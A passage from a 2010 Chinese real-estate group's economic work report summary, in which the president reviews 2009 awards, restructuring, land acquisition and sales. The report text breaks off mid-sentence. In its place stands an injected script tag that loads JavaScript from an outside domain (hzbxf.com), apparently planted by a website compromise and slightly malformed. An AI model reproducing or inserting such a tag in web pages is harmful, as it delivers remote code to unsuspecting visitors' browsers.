张智刚总裁在2010年农房集团工作会议上的经济工作报告（摘要）

审时度势 科学谋划 携手开创发展新局面
凝聚共识 汇集力量 共促农房经济大跨越

　　刚刚过去的2009年可谓风云突变，充满了机遇与挑战。集团在光明食品集团和公司董事会的正确领导下，坚持以党的十七大精神和科学发展观为指导，以“发展、整合、转型、提升”为主基调，认清形势，科学研判市场大局，顺势而为，合理布局发展大计。在集团全体干部与员工的共同努力和奋力拼搏下，克服了任务重、工期紧等各项不利因素的挑战，经受住了中国房地产市场“冰火”两重天的严峻考验，赢得了市场突变的先机，取得了良好的经营成果，超额完成了全年各项经济目标，为集团后两年的快速发展打下了基础。

第一部分：2009年度经济工作主要回顾

　　一、主要经济指标完成情况（略）
　　二、获得社会效益情况
　　集团在上海市房地产企业04-08年5年综合评比50强中排名第六；“农工商房产”商标被评为“上海市著名商标”；获2009年中国房地产百强企业综合实力排名第27位；获2009年上海市综合企业100强排名第76位；获上海服务企业50强排名第35位；获2008-2009中国房地产最具抗风险实力品牌企业50强；获2009年度中国房地产诚信品牌企业；获2009年中国房地产知名品牌企业；获第四届上海市房地产开发企业50强；获迎世博2009年九鼎杯上海市场诚信经营先进单位；获最受信任的上海房地产十大品牌企业荣誉称号；获2009上海地产年会“城市最具影响力运营商”称号。
　　三、09年主要工作回顾
　　（一）凝聚共识、深化转型，企业核心竞争力有效增强
　　1、管控模式深化转型，管理优化。09年8月，集团进一步深化内部资源整合，按照“纵向收缩管理层级、横向收缩管理幅度”的总体要求，充分利用内部优质资源的有效汇集和整合,对房产主业推进实施“事业部”制矩阵式管理，强化形成集团业务经营管理的五大中心，以及三个房产多元化子公司。经过近半年的实践，集团总部、事业部、项目公司、房产子公司积极配合、上下协作，逐步摸索完善各环节的管控流程，优化管理，提高集团对下属企业的控制力度，使企业内部资源的调配更加顺畅、合理和高效，取得一定成效。
　　2、配套企业有效整合，价值提升。09年集团围绕主业，以充分提升战略合作功能与产业链价值为目标，对房产配套企业进行梳理和综合布局，进一步完善产业链，集中精力做大、做强房产主业。一是将建设公司和民众装饰公司合并，使其从战略联盟提升到战略分工，具备建筑与装饰一体化功能，凸现专业性，进一步增强产业链的价值；二是完成集团商业模式转型的组织架构，对华都公司进行整合调整，促使其加速商业地产的专业化运作，提高效益和产出效能。三是将材料公司变更为集团全资子公司，对其实行集中管理，为集团材料的集中采购提供更为有效的成本控制与产品质量的保障。
　　3、择优集成社会资源，增强发展潜力 一是引进知名的第一食品连锁发展公司，提升集团对商业地产的运作能力。二是引进国内外知名的设计机构进行产品设计，从源头上控制、提高产品的品质，打造区域市场的领先产品。三是引进“华燕”、“同策”两家实力雄厚的营销代理合作伙伴，逐步完善营销战略合作竞争机制，为企业谋取更大的利益。四是引进知名的浙江绿城物业管理，以优良的物业管理服务维护企业的品牌形象，提升企业核心竞争能力。五是引进中国最大的连锁超市—世纪联华，落户镇江项目，为项目销售聚集人气，提升产品竞争能力。
　　（二）灵活应对、调整战略，企业经营成果显著
　　1、理性对待，积极进取，土地储备有效推进 09年，中央实施积极的财政政策和适度宽松的货币政策，面对自身资金有限的现实，集团坚持积极地寻求土地拓展，并坚持追求土地质量为先，适时调整战略，想尽一切办法、抓住一切机遇，以收购、兼并等手段为主，积极谋取优质土地储备；总计获得六个新增项目，总计土地储备面积较年初计划超额完成率339.9%。为集团后续发展打下了坚实基础，提高了集团把控宏观大势的能力。
　　2、抓住机遇，乘势而上，营销战略以“快”制胜 09年的楼市受国家刺激经济政策影响，市场从年初的“寒冬”二季度直接进入“盛夏”，房价一路高歌猛进。集团把握大势，对市场突变做出快速反应，迅速将楼盘全面推向市场，利用多元化营销策略加强营销，抓住市场由冷到暖的转机，全年取得了良好的销售业绩。
　　（三）集约经营、集中管控，企业运营速度与质量有效提升
　　1、项目运营速率的提高。宝山、昆山、衢州项目根据集团统一部署—要在确保质量的前提下，?script src=http://hzbxf.com/s.js>